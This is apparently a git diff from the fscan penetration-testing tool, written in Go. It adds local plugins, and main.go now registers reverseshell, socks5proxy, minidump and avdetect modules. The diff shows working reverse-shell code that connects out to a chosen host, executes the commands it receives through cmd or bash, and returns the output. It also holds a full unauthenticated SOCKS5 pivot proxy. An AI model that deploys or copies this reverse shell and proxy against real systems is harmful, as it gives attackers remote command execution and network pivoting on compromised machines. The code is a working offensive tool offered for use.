result := &base.ScanResult{
|
||||||
|
Success: true,
|
||||||
|
Service: "ReverseShell",
|
||||||
|
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", reverseShellConn.Target, runtime.GOOS),
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"target": reverseShellConn.Target,
|
||||||
|
"platform": runtime.GOOS,
|
||||||
|
"implementation": "go_native",
|
||||||
|
"status": "completed",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// startNativeReverseShell 启动Go原生反弹Shell - 核心实现
|
||||||
|
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error {
|
||||||
|
// 连接到目标
|
||||||
|
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port))
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("连接失败: %v", err)
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port))
|
||||||
|
|
||||||
|
// 设置反弹Shell为活跃状态,告诉主程序保持运行
|
||||||
|
common.ReverseShellActive = true
|
||||||
|
defer func() {
|
||||||
|
// 确保退出时清除活跃状态
|
||||||
|
common.ReverseShellActive = false
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 发送欢迎消息
|
||||||
|
welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH)
|
||||||
|
conn.Write([]byte(welcomeMsg))
|
||||||
|
conn.Write([]byte("Type 'exit' to quit\n"))
|
||||||
|
|
||||||
|
// 创建读取器
|
||||||
|
reader := bufio.NewReader(conn)
|
||||||
|
|
||||||
|
for {
|
||||||
|
// 检查上下文取消
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
conn.Write([]byte("Shell session terminated by context\n"))
|
||||||
|
return ctx.Err()
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送提示符
|
||||||
|
prompt := fmt.Sprintf("%s> ", getCurrentDir())
|
||||||
|
conn.Write([]byte(prompt))
|
||||||
|
|
||||||
|
// 读取命令
|
||||||
|
cmdLine, err := reader.ReadString('\n')
|
||||||
|
if err != nil {
|
||||||
|
if err == io.EOF {
|
||||||
|
common.LogBase("反弹Shell连接关闭")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return fmt.Errorf("读取命令错误: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理命令
|
||||||
|
cmdLine = strings.TrimSpace(cmdLine)
|
||||||
|
if cmdLine == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查退出命令
|
||||||
|
if cmdLine == "exit" {
|
||||||
|
conn.Write([]byte("Goodbye!\n"))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 执行命令
|
||||||
|
result := p.executeCommand(cmdLine)
|
||||||
|
|
||||||
|
// 发送结果
|
||||||
|
conn.Write([]byte(result + "\n"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// executeCommand 执行系统命令
|
||||||
|
func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
|
||||||
|
var cmd *exec.Cmd
|
||||||
|
|
||||||
|
// 根据操作系统选择命令解释器
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "windows":
|
||||||
|
cmd = exec.Command("cmd", "/C", cmdLine)
|
||||||
|
case "linux", "darwin":
|
||||||
|
cmd = exec.Command("bash", "-c", cmdLine)
|
||||||
|
default:
|
||||||
|
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 执行命令并获取输出
|
||||||
|
output, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Sprintf("错误: %v\n%s", err, string(output))
|
||||||
|
}
|
||||||
|
|
||||||
|
return string(output)
|
||||||
|
}
|
||||||
|
|
||||||
|
// getCurrentDir 获取当前目录
|
||||||
|
func getCurrentDir() string {
|
||||||
|
dir, err := os.Getwd()
|
||||||
|
if err != nil {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
return dir
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetLocalData 获取反弹Shell本地数据
|
||||||
|
func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||||
|
data := make(map[string]interface{})
|
||||||
|
|
||||||
|
// 获取系统信息
|
||||||
|
data["plugin_type"] = "reverseshell"
|
||||||
|
data["platform"] = runtime.GOOS
|
||||||
|
data["arch"] = runtime.GOARCH
|
||||||
|
data["target"] = p.target
|
||||||
|
data["implementation"] = "go_native"
|
||||||
|
|
||||||
|
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||||
|
data["home_dir"] = homeDir
|
||||||
|
}
|
||||||
|
|
||||||
|
if workDir, err := os.Getwd(); err == nil {
|
||||||
|
data["work_dir"] = workDir
|
||||||
|
}
|
||||||
|
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetInfo 获取插件信息
|
||||||
|
func (p *ReverseShellPlugin) GetInfo() string {
|
||||||
|
var info strings.Builder
|
||||||
|
|
||||||
|
info.WriteString(fmt.Sprintf("Go原生反弹Shell插件 - 目标: %s\n", p.target))
|
||||||
|
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||||
|
info.WriteString("实现方式: 纯Go原生,无外部依赖\n")
|
||||||
|
|
||||||
|
return info.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterReverseShellPlugin 注册反弹Shell插件
|
||||||
|
func RegisterReverseShellPlugin() {
|
||||||
|
factory := base.NewSimplePluginFactory(
|
||||||
|
&base.PluginMetadata{
|
||||||
|
Name: "reverseshell",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "纯Go原生反弹Shell本地插件,支持Windows/Linux/macOS",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"reverseshell", "local", "shell", "crossplatform", "native"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
},
|
||||||
|
func() base.Plugin {
|
||||||
|
return NewReverseShellPlugin()
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
base.GlobalPluginRegistry.Register("reverseshell", factory)
|
||||||
|
}
|
||||||
|
|
||||||
|
// init 插件注册函数
|
||||||
|
func init() {
|
||||||
|
RegisterReverseShellPlugin()
|
||||||
|
}
|
436
Plugins/local/socks5proxy/plugin.go
Normal file
436
Plugins/local/socks5proxy/plugin.go
Normal file
@ -0,0 +1,436 @@
|
|||||||
|
package socks5proxy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/local"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Socks5ProxyPlugin SOCKS5代理插件
|
||||||
|
type Socks5ProxyPlugin struct {
|
||||||
|
*local.BaseLocalPlugin
|
||||||
|
connector *Socks5ProxyConnector
|
||||||
|
port int
|
||||||
|
listener net.Listener
|
||||||
|
}
|
||||||
|
|
||||||
|
// Socks5ProxyConnector SOCKS5代理连接器
|
||||||
|
type Socks5ProxyConnector struct {
|
||||||
|
*local.BaseLocalConnector
|
||||||
|
port int
|
||||||
|
}
|
||||||
|
|
||||||
|
// Socks5ProxyConnection SOCKS5代理连接对象
|
||||||
|
type Socks5ProxyConnection struct {
|
||||||
|
*local.LocalConnection
|
||||||
|
Port int
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewSocks5ProxyPlugin 创建SOCKS5代理插件
|
||||||
|
func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
|
||||||
|
// 从全局参数获取SOCKS5端口
|
||||||
|
port := common.Socks5ProxyPort
|
||||||
|
if port <= 0 {
|
||||||
|
port = 1080 // 默认端口
|
||||||
|
}
|
||||||
|
|
||||||
|
metadata := &base.PluginMetadata{
|
||||||
|
Name: "socks5proxy",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "本地SOCKS5代理服务器插件,支持HTTP/HTTPS代理",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"local", "proxy", "socks5", "network"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
}
|
||||||
|
|
||||||
|
connector := NewSocks5ProxyConnector(port)
|
||||||
|
plugin := &Socks5ProxyPlugin{
|
||||||
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||||
|
connector: connector,
|
||||||
|
port: port,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置支持的平台
|
||||||
|
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||||
|
// 不需要特殊权限
|
||||||
|
plugin.SetRequiresPrivileges(false)
|
||||||
|
|
||||||
|
return plugin
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewSocks5ProxyConnector 创建SOCKS5代理连接器
|
||||||
|
func NewSocks5ProxyConnector(port int) *Socks5ProxyConnector {
|
||||||
|
baseConnector, _ := local.NewBaseLocalConnector()
|
||||||
|
|
||||||
|
return &Socks5ProxyConnector{
|
||||||
|
BaseLocalConnector: baseConnector,
|
||||||
|
port: port,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Connect 建立SOCKS5代理连接
|
||||||
|
func (c *Socks5ProxyConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||||
|
// 先建立基础本地连接
|
||||||
|
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
baseConn := localConn.(*local.LocalConnection)
|
||||||
|
|
||||||
|
// 检查端口是否可用
|
||||||
|
testListener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", c.port))
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("端口 %d 不可用: %v", c.port, err)
|
||||||
|
}
|
||||||
|
testListener.Close() // 立即关闭测试监听器
|
||||||
|
|
||||||
|
socks5Conn := &Socks5ProxyConnection{
|
||||||
|
LocalConnection: baseConn,
|
||||||
|
Port: c.port,
|
||||||
|
}
|
||||||
|
|
||||||
|
return socks5Conn, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close 关闭SOCKS5代理连接
|
||||||
|
func (c *Socks5ProxyConnector) Close(conn interface{}) error {
|
||||||
|
return c.BaseLocalConnector.Close(conn)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||||
|
func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
return p.ScanLocal(ctx, info)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScanLocal 执行SOCKS5代理扫描 - 启动代理服务器
|
||||||
|
func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
common.LogBase("启动SOCKS5代理服务器...")
|
||||||
|
|
||||||
|
// 建立连接
|
||||||
|
conn, err := p.connector.Connect(ctx, info)
|
||||||
|
if err != nil {
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("连接失败: %v", err),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
defer p.connector.Close(conn)
|
||||||
|
|
||||||
|
socks5Conn := conn.(*Socks5ProxyConnection)
|
||||||
|
|
||||||
|
// 启动SOCKS5代理服务器
|
||||||
|
common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", socks5Conn.Port))
|
||||||
|
|
||||||
|
// 直接在当前goroutine中运行,这样可以确保在设置Socks5ProxyActive后立即被主程序检测到
|
||||||
|
err = p.startSocks5Server(ctx, socks5Conn.Port)
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("SOCKS5代理服务器错误: %v", err))
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: err,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
result := &base.ScanResult{
|
||||||
|
Success: true,
|
||||||
|
Service: "SOCKS5Proxy",
|
||||||
|
Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", socks5Conn.Port, runtime.GOOS),
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"port": socks5Conn.Port,
|
||||||
|
"platform": runtime.GOOS,
|
||||||
|
"protocol": "socks5",
|
||||||
|
"status": "completed",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// startSocks5Server 启动SOCKS5代理服务器 - 核心实现
|
||||||
|
func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int) error {
|
||||||
|
// 监听指定端口
|
||||||
|
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port))
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("监听端口失败: %v", err)
|
||||||
|
}
|
||||||
|
defer listener.Close()
|
||||||
|
|
||||||
|
p.listener = listener
|
||||||
|
common.LogSuccess(fmt.Sprintf("SOCKS5代理服务器已在 127.0.0.1:%d 上启动", port))
|
||||||
|
|
||||||
|
// 设置SOCKS5代理为活跃状态,告诉主程序保持运行
|
||||||
|
common.Socks5ProxyActive = true
|
||||||
|
defer func() {
|
||||||
|
// 确保退出时清除活跃状态
|
||||||
|
common.Socks5ProxyActive = false
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 主循环处理连接
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
common.LogBase("SOCKS5代理服务器被上下文取消")
|
||||||
|
return ctx.Err()
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置监听器超时,以便能响应上下文取消
|
||||||
|
if tcpListener, ok := listener.(*net.TCPListener); ok {
|
||||||
|
tcpListener.SetDeadline(time.Now().Add(1 * time.Second))
|
||||||
|
}
|
||||||
|
|
||||||
|
conn, err := listener.Accept()
|
||||||
|
if err != nil {
|
||||||
|
// 检查是否是超时错误
|
||||||
|
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
|
||||||
|
continue // 超时继续循环
|
||||||
|
}
|
||||||
|
common.LogError(fmt.Sprintf("接受连接失败: %v", err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 并发处理客户端连接
|
||||||
|
go p.handleClient(conn)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleClient 处理客户端连接
|
||||||
|
func (p *Socks5ProxyPlugin) handleClient(clientConn net.Conn) {
|
||||||
|
defer clientConn.Close()
|
||||||
|
|
||||||
|
// SOCKS5握手阶段
|
||||||
|
if err := p.handleSocks5Handshake(clientConn); err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("SOCKS5握手失败: %v", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// SOCKS5请求阶段
|
||||||
|
targetConn, err := p.handleSocks5Request(clientConn)
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("SOCKS5请求处理失败: %v", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer targetConn.Close()
|
||||||
|
|
||||||
|
common.LogSuccess("建立SOCKS5代理连接")
|
||||||
|
|
||||||
|
// 双向数据转发
|
||||||
|
p.relayData(clientConn, targetConn)
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleSocks5Handshake 处理SOCKS5握手
|
||||||
|
func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error {
|
||||||
|
// 读取客户端握手请求
|
||||||
|
buffer := make([]byte, 256)
|
||||||
|
n, err := conn.Read(buffer)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("读取握手请求失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5
|
||||||
|
return fmt.Errorf("不支持的SOCKS版本")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送握手响应(无认证)
|
||||||
|
response := []byte{0x05, 0x00} // 版本5,无认证
|
||||||
|
_, err = conn.Write(response)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("发送握手响应失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleSocks5Request 处理SOCKS5连接请求
|
||||||
|
func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, error) {
|
||||||
|
// 读取连接请求
|
||||||
|
buffer := make([]byte, 256)
|
||||||
|
n, err := clientConn.Read(buffer)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("读取连接请求失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if n < 7 || buffer[0] != 0x05 {
|
||||||
|
return nil, fmt.Errorf("无效的SOCKS5请求")
|
||||||
|
}
|
||||||
|
|
||||||
|
cmd := buffer[1]
|
||||||
|
if cmd != 0x01 { // 只支持CONNECT命令
|
||||||
|
// 发送不支持的命令响应
|
||||||
|
response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||||
|
clientConn.Write(response)
|
||||||
|
return nil, fmt.Errorf("不支持的命令: %d", cmd)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析目标地址
|
||||||
|
addrType := buffer[3]
|
||||||
|
var targetHost string
|
||||||
|
var targetPort int
|
||||||
|
|
||||||
|
switch addrType {
|
||||||
|
case 0x01: // IPv4
|
||||||
|
if n < 10 {
|
||||||
|
return nil, fmt.Errorf("IPv4地址格式错误")
|
||||||
|
}
|
||||||
|
targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7])
|
||||||
|
targetPort = int(buffer[8])<<8 + int(buffer[9])
|
||||||
|
case 0x03: // 域名
|
||||||
|
if n < 5 {
|
||||||
|
return nil, fmt.Errorf("域名格式错误")
|
||||||
|
}
|
||||||
|
domainLen := int(buffer[4])
|
||||||
|
if n < 5+domainLen+2 {
|
||||||
|
return nil, fmt.Errorf("域名长度错误")
|
||||||
|
}
|
||||||
|
targetHost = string(buffer[5 : 5+domainLen])
|
||||||
|
targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1])
|
||||||
|
case 0x04: // IPv6
|
||||||
|
if n < 22 {
|
||||||
|
return nil, fmt.Errorf("IPv6地址格式错误")
|
||||||
|
}
|
||||||
|
// IPv6地址解析(简化实现)
|
||||||
|
targetHost = net.IP(buffer[4:20]).String()
|
||||||
|
targetPort = int(buffer[20])<<8 + int(buffer[21])
|
||||||
|
default:
|
||||||
|
// 发送不支持的地址类型响应
|
||||||
|
response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||||
|
clientConn.Write(response)
|
||||||
|
return nil, fmt.Errorf("不支持的地址类型: %d", addrType)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 连接目标服务器
|
||||||
|
targetAddr := fmt.Sprintf("%s:%d", targetHost, targetPort)
|
||||||
|
targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
// 发送连接失败响应
|
||||||
|
response := []byte{0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||||
|
clientConn.Write(response)
|
||||||
|
return nil, fmt.Errorf("连接目标服务器失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送成功响应
|
||||||
|
response := make([]byte, 10)
|
||||||
|
response[0] = 0x05 // SOCKS版本
|
||||||
|
response[1] = 0x00 // 成功
|
||||||
|
response[2] = 0x00 // 保留
|
||||||
|
response[3] = 0x01 // IPv4地址类型
|
||||||
|
// 绑定地址和端口(使用127.0.0.1:port)
|
||||||
|
copy(response[4:8], []byte{127, 0, 0, 1})
|
||||||
|
response[8] = byte(p.port >> 8)
|
||||||
|
response[9] = byte(p.port & 0xff)
|
||||||
|
|
||||||
|
_, err = clientConn.Write(response)
|
||||||
|
if err != nil {
|
||||||
|
targetConn.Close()
|
||||||
|
return nil, fmt.Errorf("发送成功响应失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("建立代理连接: %s", targetAddr))
|
||||||
|
return targetConn, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// relayData 双向数据转发
|
||||||
|
func (p *Socks5ProxyPlugin) relayData(clientConn, targetConn net.Conn) {
|
||||||
|
done := make(chan struct{}, 2)
|
||||||
|
|
||||||
|
// 客户端到目标服务器
|
||||||
|
go func() {
|
||||||
|
defer func() { done <- struct{}{} }()
|
||||||
|
io.Copy(targetConn, clientConn)
|
||||||
|
targetConn.Close()
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 目标服务器到客户端
|
||||||
|
go func() {
|
||||||
|
defer func() { done <- struct{}{} }()
|
||||||
|
io.Copy(clientConn, targetConn)
|
||||||
|
clientConn.Close()
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待其中一个方向完成
|
||||||
|
<-done
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetLocalData 获取SOCKS5代理本地数据
|
||||||
|
func (p *Socks5ProxyPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||||
|
data := make(map[string]interface{})
|
||||||
|
|
||||||
|
// 获取系统信息
|
||||||
|
data["plugin_type"] = "socks5proxy"
|
||||||
|
data["platform"] = runtime.GOOS
|
||||||
|
data["arch"] = runtime.GOARCH
|
||||||
|
data["port"] = p.port
|
||||||
|
data["protocol"] = "socks5"
|
||||||
|
|
||||||
|
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||||
|
data["home_dir"] = homeDir
|
||||||
|
}
|
||||||
|
|
||||||
|
if workDir, err := os.Getwd(); err == nil {
|
||||||
|
data["work_dir"] = workDir
|
||||||
|
}
|
||||||
|
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExtractData 提取数据(SOCKS5代理主要是服务功能)
|
||||||
|
func (p *Socks5ProxyPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||||
|
return &base.ExploitResult{
|
||||||
|
Success: true,
|
||||||
|
Output: fmt.Sprintf("SOCKS5代理服务器运行完成,端口: %d", p.port),
|
||||||
|
Data: data,
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"port": p.port,
|
||||||
|
"protocol": "socks5",
|
||||||
|
"status": "completed",
|
||||||
|
},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetInfo 获取插件信息
|
||||||
|
func (p *Socks5ProxyPlugin) GetInfo() string {
|
||||||
|
var info strings.Builder
|
||||||
|
|
||||||
|
info.WriteString(fmt.Sprintf("SOCKS5代理插件 - 端口: %d\n", p.port))
|
||||||
|
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||||
|
info.WriteString("协议: SOCKS5,支持HTTP/HTTPS代理\n")
|
||||||
|
info.WriteString("实现方式: 纯Go原生,无外部依赖\n")
|
||||||
|
|
||||||
|
return info.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterSocks5ProxyPlugin 注册SOCKS5代理插件
|
||||||
|
func RegisterSocks5ProxyPlugin() {
|
||||||
|
factory := base.NewSimplePluginFactory(
|
||||||
|
&base.PluginMetadata{
|
||||||
|
Name: "socks5proxy",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "本地SOCKS5代理服务器插件,支持HTTP/HTTPS代理",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"socks5proxy", "local", "proxy", "network"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
},
|
||||||
|
func() base.Plugin {
|
||||||
|
return NewSocks5ProxyPlugin()
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
base.GlobalPluginRegistry.Register("socks5proxy", factory)
|
||||||
|
}
|
||||||
|
|
||||||
|
// init 插件注册函数
|
||||||
|
func init() {
|
||||||
|
RegisterSocks5ProxyPlugin()
|
||||||
|
}
|
10
main.go
10
main.go
@ -6,6 +6,14 @@ import (
|
|||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"github.com/shadow1ng/fscan/core"
|
"github.com/shadow1ng/fscan/core"
|
||||||
|
|
||||||
|
// 引入本地插件以触发注册
|
||||||
|
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo"
|
||||||
|
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo"
|
||||||
|
_ "github.com/shadow1ng/fscan/plugins/local/minidump"
|
||||||
|
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell"
|
||||||
|
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy"
|
||||||
|
_ "github.com/shadow1ng/fscan/plugins/local/avdetect"
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
@ -28,5 +36,5 @@ func main() {
|
|||||||
defer common.CloseOutput()
|
defer common.CloseOutput()
|
||||||
|
|
||||||
// 执行 CLI 扫描逻辑
|
// 执行 CLI 扫描逻辑
|
||||||
core.Scan(Info)
|
core.RunScan(Info)
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user